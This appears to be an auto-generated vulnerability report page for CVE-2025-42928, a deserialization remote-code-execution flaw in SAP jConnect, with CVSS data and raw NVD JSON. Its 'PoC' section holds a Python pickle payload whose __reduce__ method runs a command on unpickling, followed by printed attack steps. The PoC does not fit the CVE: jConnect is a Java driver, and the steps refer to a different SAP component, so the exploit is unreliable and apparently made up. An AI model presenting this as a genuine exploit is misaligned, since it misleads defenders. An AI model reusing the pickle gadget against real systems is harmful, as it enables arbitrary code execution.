Security Vulnerability Report
中文
CVE-2025-42928 CVSS 9.1 CRITICAL

CVE-2025-42928

Published: 2025-12-09 16:17:53
Last Modified: 2026-04-15 00:35:42

Description

Under certain conditions, a high privileged user could exploit a deserialization vulnerability in SAP jConnect to launch remote code execution. The system may be vulnerable when specially crafted input is used to exploit the vulnerability resulting in high impact on confidentiality, integrity and availability of the system.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP jConnect 所有受影响版本(具体版本请参阅SAP Note 3685286)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import subprocess import base64 # CVE-2025-42928 PoC - Unsafe Deserialization in SAP jConnect # This is a conceptual demonstration for authorized security testing only class ExploitPayload: """ Malicious serialized object for CVE-2025-42928 In real attack, this payload would be crafted to exploit Java deserialization vulnerability in SAP jConnect """ def __reduce__(self): # This would execute arbitrary command on target system cmd = ['calc.exe'] # Example: spawn calculator (for testing only) return (subprocess.check_output, (cmd,)) def generate_evil_object(): """Generate malicious serialized object""" payload = ExploitPayload() serialized = pickle.dumps(payload) return base64.b64encode(serialized).decode('utf-8') def main(): print('[+] CVE-2025-42928 PoC Generator') print('[+] Target: SAP jConnect Deserialization RCE') print('[+] Generating malicious payload...') evil_object = generate_evil_object() print(f'[+] Payload (Base64): {evil_object}') print('[+] In real attack scenario:') print(' 1. Send this payload via JCo connection') print(' 2. Target jConnect deserializes the object') print(' 3. __reduce__ method executes arbitrary code') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42928", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:53.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Under certain conditions, a high privileged user could exploit a deserialization vulnerability in SAP jConnect to launch remote code execution. The system may be vulnerable when specially crafted input is used to exploit the vulnerability resulting in high impact on confidentiality, integrity and availability of the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://me.sap.com/notes/3685286", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}